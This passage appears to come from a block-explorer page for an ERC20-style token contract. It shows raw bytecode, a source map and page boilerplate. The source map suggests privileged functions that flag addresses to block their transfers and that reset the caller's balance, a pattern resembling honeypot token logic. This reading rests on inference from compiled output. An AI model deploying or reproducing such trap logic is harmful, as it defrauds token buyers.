815260200160002060008282546111df9190611a09565b925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516112439190611426565b60405180910390a350505050565b505050565b600081519050919050565b600082825260208201905092915050565b60005b83811015611290578082015181840152602081019050611275565b60008484015250505050565b6000601f19601f8301169050919050565b60006112b882611256565b6112c28185611261565b93506112d2818560208601611272565b6112db8161129c565b840191505092915050565b6000602082019050818103600083015261130081846112ad565b905092915050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b60006113388261130d565b9050919050565b6113488161132d565b811461135357600080fd5b50565b6000813590506113658161133f565b92915050565b6000819050919050565b61137e8161136b565b811461138957600080fd5b50565b60008135905061139b81611375565b92915050565b600080604083850312156113b8576113b7611308565b5b60006113c685828601611356565b92505060206113d78582860161138c565b9150509250929050565b60008115159050919050565b6113f6816113e1565b82525050565b600060208201905061141160008301846113ed565b92915050565b6114208161136b565b82525050565b600060208201905061143b6000830184611417565b92915050565b60008060006060848603121561145a57611459611308565b5b600061146886828701611356565b935050602061147986828701611356565b925050604061148a8682870161138c565b9150509250925092565b600060ff82169050919050565b6114aa81611494565b82525050565b60006020820190506114c560008301846114a1565b92915050565b6000602082840312156114e1576114e0611308565b5b60006114ef84828501611356565b91505092915050565b6115018161132d565b82525050565b600060208201905061151c60008301846114f8565b92915050565b6000806040838503121561153957611538611308565b5b600061154785828601611356565b925050602061155885828601611356565b9150509250929050565b7f45524332303a207472616e7366657220616d6f756e742065786365656473206160008201527f6c6c6f77616e6365000000000000000000000000000000000000000000000000602082015250565b60006115be602883611261565b91506115c982611562565b604082019050919050565b600060208201905081810360008301526115ed816115b1565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b600061162e8261136b565b91506116398361136b565b9250828203905081811115611651576116506115f4565b5b92915050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b60006116b3602483611261565b91506116be82611657565b604082019050919050565b600060208201905081810360008301526116e2816116a6565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b6000611745602283611261565b9150611750826116e9565b604082019050919050565b6000602082019050818103600083015261177481611738565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b60006117d7602583611261565b91506117e28261177b565b604082019050919050565b60006020820190508181036000830152611806816117ca565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b6000611869602383611261565b91506118748261180d565b604082019050919050565b600060208201905081810360008301526118988161185c565b9050919050565b7f5472616e7366657220616d6f756e74206d75737420626520677261746572207460008201527f6861746e207a65726f0000000000000000000000000000000000000000000000602082015250565b60006118fb602983611261565b91506119068261189f565b604082019050919050565b6000602082019050818103600083015261192a816118ee565b9050919050565b50565b6000611941600083611261565b915061194c82611931565b600082019050919050565b6000602082019050818103600083015261197081611934565b9050919050565b7f45524332303a207472616e7366657220616d6f756e742065786365656473206260008201527f616c616e63650000000000000000000000000000000000000000000000000000602082015250565b60006119d3602683611261565b91506119de82611977565b604082019050919050565b60006020820190508181036000830152611a02816119c6565b9050919050565b6000611a148261136b565b9150611a1f8361136b565b9250828201905080821115611a3757611a366115f4565b5b9291505056fea26469706673582212209e0ca0f0f5f8a5ba13459cc4af13bc4a37188618e3afff3c9b5b17001d132cf964736f6c63430008120033

Deployed Bytecode Sourcemap

1830:4923:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;2741:100;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4159:169;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3552:108;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4338:422;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3071:193;;;:::i;:::-;;2969:100;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3671:127;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1643:178;;;:::i;:::-;;3272:129;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;1558:79;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;2851:104;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3409:131;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;3808:175;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3996:151;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;2741:100;2795:13;2828:5;;;;;;;;;;;;;;;;;2821:12;;2741:100;:::o;4159:169::-;4242:4;4259:39;4268:12;:10;:12::i;:::-;4282:7;4291:6;4259:8;:39::i;:::-;4316:4;4309:11;;4159:169;;;;:::o;3552:108::-;3613:7;3640:12;;3633:19;;3552:108;:::o;4338:422::-;4444:4;4461:40;4475:6;4483:9;4494:6;4461:13;:40::i;:::-;4512:24;4539:11;:19;4551:6;4539:19;;;;;;;;;;;;;;;:33;4559:12;:10;:12::i;:::-;4539:33;;;;;;;;;;;;;;;;4512:60;;4611:6;4591:16;:26;;4583:79;;;;;;;;;;;;:::i;:::-;;;;;;;;;4673:57;4682:6;4690:12;:10;:12::i;:::-;4723:6;4704:16;:25;;;;:::i;:::-;4673:8;:57::i;:::-;4748:4;4741:11;;;4338:422;;;;;:::o;3071:193::-;3126:1;3109:4;:13;3114:7;;;;;;;;;;;3109:13;;;;;;;;;;;;;;;;:18;3106:157;;3133:17;3164:9;:23;3174:12;:10;:12::i;:::-;3164:23;;;;;;;;;;;;;;;;3153:8;;:34;;;;:::i;:::-;3133:54;;3191:15;3221:3;3209:9;:15;;;;:::i;:::-;3191:33;;3254:7;3228:9;:23;3238:12;:10;:12::i;:::-;3228:23;;;;;;;;;;;;;;;:33;;;;3129:134;;3106:157;3071:193::o;2969:100::-;3027:5;3052:9;;;;;;;;;;;3045:16;;2969:100;:::o;3671:127::-;3745:7;3772:9;:18;3782:7;3772:18;;;;;;;;;;;;;;;;3765:25;;3671:127;;;:::o;1643:178::-;1720:6;;;;;;;;;;1706:20;;:10;:20;;;1698:29;;;;;;1780:1;1743:40;;1764:6;;;;;;;;;;1743:40;;;;;;;;;;;;1811:1;1794:6;;:19;;;;;;;;;;;;;;;;;;1643:178::o;3272:129::-;3352:1;3335:4;:13;3340:7;;;;;;;;;;;3335:13;;;;;;;;;;;;;;;;:18;3332:62;;3387:5;3366:8;:18;3375:8;3366:18;;;;;;;;;;;;;;;;:26;;;;;;;;;;;;;;;;;;3332:62;3272:129;:::o;1558:79::-;1596:7;1623:6;;;;;;;;;;;1616:13;;1558:79;:::o;2851:104::-;2907:13;2940:7;;;;;;;;;;;;;;;;;2933:14;;2851:104;:::o;3409:131::-;3493:1;3476:4;:13;3481:7;;;;;;;;;;;3476:13;;;;;;;;;;;;;;;;:18;3473:60;;3527:4;3506:8;:18;3515:8;3506:18;;;;;;;;;;;;;;;;:25;;;;;;;;;;;;;;;;;;3473:60;3409:131;:::o;3808:175::-;3894:4;3911:42;3921:12;:10;:12::i;:::-;3935:9;3946:6;3911:9;:42::i;:::-;3971:4;3964:11;;3808:175;;;;:::o;3996:151::-;4085:7;4112:11;:18;4124:5;4112:18;;;;;;;;;;;;;;;:27;4131:7;4112:27;;;;;;;;;;;;;;;;4105:34;;3996:151;;;;:::o;1020:98::-;1073:7;1100:10;1093:17;;1020:98;:::o;6303:344::-;6422:1;6405:19;;:5;:19;;;6397:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;6503:1;6484:21;;:7;:21;;;6476:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;6585:6;6555:11;:18;6567:5;6555:18;;;;;;;;;;;;;;;:27;6574:7;6555:27;;;;;;;;;;;;;;;:36;;;;6623:7;6607:32;;6616:5;6607:32;;;6632:6;6607:32;;;;;;:::i;:::-;;;;;;;;6303:344;;;:::o;5525:760::-;5653:1;5635:20;;:6;:20;;;5627:70;;;;;;;;;;;;:::i;:::-;;;;;;;;;5737:1;5716:23;;:9;:23;;;5708:71;;;;;;;;;;;;:::i;:::-;;;;;;;;;5807:1;5798:6;:10;5790:64;;;;;;;;;;;;:::i;:::-;;;;;;;;;5869:8;:16;5878:6;5869:16;;;;;;;;;;;;;;;;;;;;;;;;;:39;;;;5889:8;:19;5898:9;5889:19;;;;;;;;;;;;;;;;;;;;;;;;;5869:39;5865:72;;;5927:5;5918:14;;:5;;;;;;;;;;;:14;;;5910:27;;;;;;;;;;;;:::i;:::-;;;;;;;;;5865:72;5948:47;5969:6;5977:9;5988:6;5948:20;:47::i;:::-;6006:21;6030:9;:17;6040:6;6030:17;;;;;;;;;;;;;;;;6006:41;;6083:6;6066:13;:23;;6058:74;;;;;;;;;;;;:::i;:::-;;;;;;;;;6179:6;6163:13;:22;;;;:::i;:::-;6143:9;:17;6153:6;6143:17;;;;;;;;;;;;;;;:42;;;;6220:6;6196:9;:20;6206:9;6196:20;;;;;;;;;;;;;;;;:30;;;;;;;:::i;:::-;;;;;;;;6259:9;6242:35;;6251:6;6242:35;;;6270:6;6242:35;;;;;;:::i;:::-;;;;;;;;5616:669;5525:760;;;:::o;4784:734::-;4908:1;4890:20;;:6;:20;;;4882:70;;;;;;;;;;;;:::i;:::-;;;;;;;;;4992:1;4971:23;;:9;:23;;;4963:71;;;;;;;;;;;;:::i;:::-;;;;;;;;;5062:1;5053:6;:10;5045:64;;;;;;;;;;;;:::i;:::-;;;;;;;;;5124:8;:16;5133:6;5124:16;;;;;;;;;;;;;;;;;;;;;;;;;5120:50;;;5160:5;5151:14;;:5;;;;;;;;;;;:14;;;5143:27;;;;;;;;;;;;:::i;:::-;;;;;;;;;5120:50;5181:47;5202:6;5210:9;5221:6;5181:20;:47::i;:::-;5239:21;5263:9;:17;5273:6;5263:17;;;;;;;;;;;;;;;;5239:41;;5316:6;5299:13;:23;;5291:74;;;;;;;;;;;;:::i;:::-;;;;;;;;;5412:6;5396:13;:22;;;;:::i;:::-;5376:9;:17;5386:6;5376:17;;;;;;;;;;;;;;;:42;;;;5453:6;5429:9;:20;5439:9;5429:20;;;;;;;;;;;;;;;;:30;;;;;;;:::i;:::-;;;;;;;;5492:9;5475:35;;5484:6;5475:35;;;5503:6;5475:35;;;;;;:::i;:::-;;;;;;;;4871:647;4784:734;;;:::o;6658:92::-;;;;:::o;7:99:1:-;59:6;93:5;87:12;77:22;;7:99;;;:::o;112:169::-;196:11;230:6;225:3;218:19;270:4;265:3;261:14;246:29;;112:169;;;;:::o;287:246::-;368:1;378:113;392:6;389:1;386:13;378:113;;;477:1;472:3;468:11;462:18;458:1;453:3;449:11;442:39;414:2;411:1;407:10;402:15;;378:113;;;525:1;516:6;511:3;507:16;500:27;349:184;287:246;;;:::o;539:102::-;580:6;631:2;627:7;622:2;615:5;611:14;607:28;597:38;;539:102;;;:::o;647:377::-;735:3;763:39;796:5;763:39;:::i;:::-;818:71;882:6;877:3;818:71;:::i;:::-;811:78;;898:65;956:6;951:3;944:4;937:5;933:16;898:65;:::i;:::-;988:29;1010:6;988:29;:::i;:::-;983:3;979:39;972:46;;739:285;647:377;;;;:::o;1030:313::-;1143:4;1181:2;1170:9;1166:18;1158:26;;1230:9;1224:4;1220:20;1216:1;1205:9;1201:17;1194:47;1258:78;1331:4;1322:6;1258:78;:::i;:::-;1250:86;;1030:313;;;;:::o;1430:117::-;1539:1;1536;1529:12;1676:126;1713:7;1753:42;1746:5;1742:54;1731:65;;1676:126;;;:::o;1808:96::-;1845:7;1874:24;1892:5;1874:24;:::i;:::-;1863:35;;1808:96;;;:::o;1910:122::-;1983:24;2001:5;1983:24;:::i;:::-;1976:5;1973:35;1963:63;;2022:1;2019;2012:12;1963:63;1910:122;:::o;2038:139::-;2084:5;2122:6;2109:20;2100:29;;2138:33;2165:5;2138:33;:::i;:::-;2038:139;;;;:::o;2183:77::-;2220:7;2249:5;2238:16;;2183:77;;;:::o;2266:122::-;2339:24;2357:5;2339:24;:::i;:::-;2332:5;2329:35;2319:63;;2378:1;2375;2368:12;2319:63;2266:122;:::o;2394:139::-;2440:5;2478:6;2465:20;2456:29;;2494:33;2521:5;2494:33;:::i;:::-;2394:139;;;;:::o;2539:474::-;2607:6;2615;2664:2;2652:9;2643:7;2639:23;2635:32;2632:119;;;2670:79;;:::i;:::-;2632:119;2790:1;2815:53;2860:7;2851:6;2840:9;2836:22;2815:53;:::i;:::-;2805:63;;2761:117;2917:2;2943:53;2988:7;2979:6;2968:9;2964:22;2943:53;:::i;:::-;2933:63;;2888:118;2539:474;;;;;:::o;3019:90::-;3053:7;3096:5;3089:13;3082:21;3071:32;;3019:90;;;:::o;3115:109::-;3196:21;3211:5;3196:21;:::i;:::-;3191:3;3184:34;3115:109;;:::o;3230:210::-;3317:4;3355:2;3344:9;3340:18;3332:26;;3368:65;3430:1;3419:9;3415:17;3406:6;3368:65;:::i;:::-;3230:210;;;;:::o;3446:118::-;3533:24;3551:5;3533:24;:::i;:::-;3528:3;3521:37;3446:118;;:::o;3570:222::-;3663:4;3701:2;3690:9;3686:18;3678:26;;3714:71;3782:1;3771:9;3767:17;3758:6;3714:71;:::i;:::-;3570:222;;;;:::o;3798:619::-;3875:6;3883;3891;3940:2;3928:9;3919:7;3915:23;3911:32;3908:119;;;3946:79;;:::i;:::-;3908:119;4066:1;4091:53;4136:7;4127:6;4116:9;4112:22;4091:53;:::i;:::-;4081:63;;4037:117;4193:2;4219:53;4264:7;4255:6;4244:9;4240:22;4219:53;:::i;:::-;4209:63;;4164:118;4321:2;4347:53;4392:7;4383:6;4372:9;4368:22;4347:53;:::i;:::-;4337:63;;4292:118;3798:619;;;;;:::o;4423:86::-;4458:7;4498:4;4491:5;4487:16;4476:27;;4423:86;;;:::o;4515:112::-;4598:22;4614:5;4598:22;:::i;:::-;4593:3;4586:35;4515:112;;:::o;4633:214::-;4722:4;4760:2;4749:9;4745:18;4737:26;;4773:67;4837:1;4826:9;4822:17;4813:6;4773:67;:::i;:::-;4633:214;;;;:::o;4853:329::-;4912:6;4961:2;4949:9;4940:7;4936:23;4932:32;4929:119;;;4967:79;;:::i;:::-;4929:119;5087:1;5112:53;5157:7;5148:6;5137:9;5133:22;5112:53;:::i;:::-;5102:63;;5058:117;4853:329;;;;:::o;5188:118::-;5275:24;5293:5;5275:24;:::i;:::-;5270:3;5263:37;5188:118;;:::o;5312:222::-;5405:4;5443:2;5432:9;5428:18;5420:26;;5456:71;5524:1;5513:9;5509:17;5500:6;5456:71;:::i;:::-;5312:222;;;;:::o;5540:474::-;5608:6;5616;5665:2;5653:9;5644:7;5640:23;5636:32;5633:119;;;5671:79;;:::i;:::-;5633:119;5791:1;5816:53;5861:7;5852:6;5841:9;5837:22;5816:53;:::i;:::-;5806:63;;5762:117;5918:2;5944:53;5989:7;5980:6;5969:9;5965:22;5944:53;:::i;:::-;5934:63;;5889:118;5540:474;;;;;:::o;6020:227::-;6160:34;6156:1;6148:6;6144:14;6137:58;6229:10;6224:2;6216:6;6212:15;6205:35;6020:227;:::o;6253:366::-;6395:3;6416:67;6480:2;6475:3;6416:67;:::i;:::-;6409:74;;6492:93;6581:3;6492:93;:::i;:::-;6610:2;6605:3;6601:12;6594:19;;6253:366;;;:::o;6625:419::-;6791:4;6829:2;6818:9;6814:18;6806:26;;6878:9;6872:4;6868:20;6864:1;6853:9;6849:17;6842:47;6906:131;7032:4;6906:131;:::i;:::-;6898:139;;6625:419;;;:::o;7050:180::-;7098:77;7095:1;7088:88;7195:4;7192:1;7185:15;7219:4;7216:1;7209:15;7236:194;7276:4;7296:20;7314:1;7296:20;:::i;:::-;7291:25;;7330:20;7348:1;7330:20;:::i;:::-;7325:25;;7374:1;7371;7367:9;7359:17;;7398:1;7392:4;7389:11;7386:37;;;7403:18;;:::i;:::-;7386:37;7236:194;;;;:::o;7436:223::-;7576:34;7572:1;7564:6;7560:14;7553:58;7645:6;7640:2;7632:6;7628:15;7621:31;7436:223;:::o;7665:366::-;7807:3;7828:67;7892:2;7887:3;7828:67;:::i;:::-;7821:74;;7904:93;7993:3;7904:93;:::i;:::-;8022:2;8017:3;8013:12;8006:19;;7665:366;;;:::o;8037:419::-;8203:4;8241:2;8230:9;8226:18;8218:26;;8290:9;8284:4;8280:20;8276:1;8265:9;8261:17;8254:47;8318:131;8444:4;8318:131;:::i;:::-;8310:139;;8037:419;;;:::o;8462:221::-;8602:34;8598:1;8590:6;8586:14;8579:58;8671:4;8666:2;8658:6;8654:15;8647:29;8462:221;:::o;8689:366::-;8831:3;8852:67;8916:2;8911:3;8852:67;:::i;:::-;8845:74;;8928:93;9017:3;8928:93;:::i;:::-;9046:2;9041:3;9037:12;9030:19;;8689:366;;;:::o;9061:419::-;9227:4;9265:2;9254:9;9250:18;9242:26;;9314:9;9308:4;9304:20;9300:1;9289:9;9285:17;9278:47;9342:131;9468:4;9342:131;:::i;:::-;9334:139;;9061:419;;;:::o;9486:224::-;9626:34;9622:1;9614:6;9610:14;9603:58;9695:7;9690:2;9682:6;9678:15;9671:32;9486:224;:::o;9716:366::-;9858:3;9879:67;9943:2;9938:3;9879:67;:::i;:::-;9872:74;;9955:93;10044:3;9955:93;:::i;:::-;10073:2;10068:3;10064:12;10057:19;;9716:366;;;:::o;10088:419::-;10254:4;10292:2;10281:9;10277:18;10269:26;;10341:9;10335:4;10331:20;10327:1;10316:9;10312:17;10305:47;10369:131;10495:4;10369:131;:::i;:::-;10361:139;;10088:419;;;:::o;10513:222::-;10653:34;10649:1;10641:6;10637:14;10630:58;10722:5;10717:2;10709:6;10705:15;10698:30;10513:222;:::o;10741:366::-;10883:3;10904:67;10968:2;10963:3;10904:67;:::i;:::-;10897:74;;10980:93;11069:3;10980:93;:::i;:::-;11098:2;11093:3;11089:12;11082:19;;10741:366;;;:::o;11113:419::-;11279:4;11317:2;11306:9;11302:18;11294:26;;11366:9;11360:4;11356:20;11352:1;11341:9;11337:17;11330:47;11394:131;11520:4;11394:131;:::i;:::-;11386:139;;11113:419;;;:::o;11538:228::-;11678:34;11674:1;11666:6;11662:14;11655:58;11747:11;11742:2;11734:6;11730:15;11723:36;11538:228;:::o;11772:366::-;11914:3;11935:67;11999:2;11994:3;11935:67;:::i;:::-;11928:74;;12011:93;12100:3;12011:93;:::i;:::-;12129:2;12124:3;12120:12;12113:19;;11772:366;;;:::o;12144:419::-;12310:4;12348:2;12337:9;12333:18;12325:26;;12397:9;12391:4;12387:20;12383:1;12372:9;12368:17;12361:47;12425:131;12551:4;12425:131;:::i;:::-;12417:139;;12144:419;;;:::o;12569:114::-;;:::o;12689:364::-;12831:3;12852:66;12916:1;12911:3;12852:66;:::i;:::-;12845:73;;12927:93;13016:3;12927:93;:::i;:::-;13045:1;13040:3;13036:11;13029:18;;12689:364;;;:::o;13059:419::-;13225:4;13263:2;13252:9;13248:18;13240:26;;13312:9;13306:4;13302:20;13298:1;13287:9;13283:17;13276:47;13340:131;13466:4;13340:131;:::i;:::-;13332:139;;13059:419;;;:::o;13484:225::-;13624:34;13620:1;13612:6;13608:14;13601:58;13693:8;13688:2;13680:6;13676:15;13669:33;13484:225;:::o;13715:366::-;13857:3;13878:67;13942:2;13937:3;13878:67;:::i;:::-;13871:74;;13954:93;14043:3;13954:93;:::i;:::-;14072:2;14067:3;14063:12;14056:19;;13715:366;;;:::o;14087:419::-;14253:4;14291:2;14280:9;14276:18;14268:26;;14340:9;14334:4;14330:20;14326:1;14315:9;14311:17;14304:47;14368:131;14494:4;14368:131;:::i;:::-;14360:139;;14087:419;;;:::o;14512:191::-;14552:3;14571:20;14589:1;14571:20;:::i;:::-;14566:25;;14605:20;14623:1;14605:20;:::i;:::-;14600:25;;14648:1;14645;14641:9;14634:16;;14669:3;14666:1;14663:10;14660:36;;;14676:18;;:::i;:::-;14660:36;14512:191;;;;:::o

Swarm Source

ipfs://9e0ca0f0f5f8a5ba13459cc4af13bc4a37188618e3afff3c9b5b17001d132cf9
Loading...
Loading
Loading...
Loading
[ Download: CSV Export  ]
[ Download: CSV Export  ]

A token is a representation of an on-chain or off-chain asset. The token page shows information such as price, total supply, holders, transfers and social links. Learn more about this page in our Knowledge Base.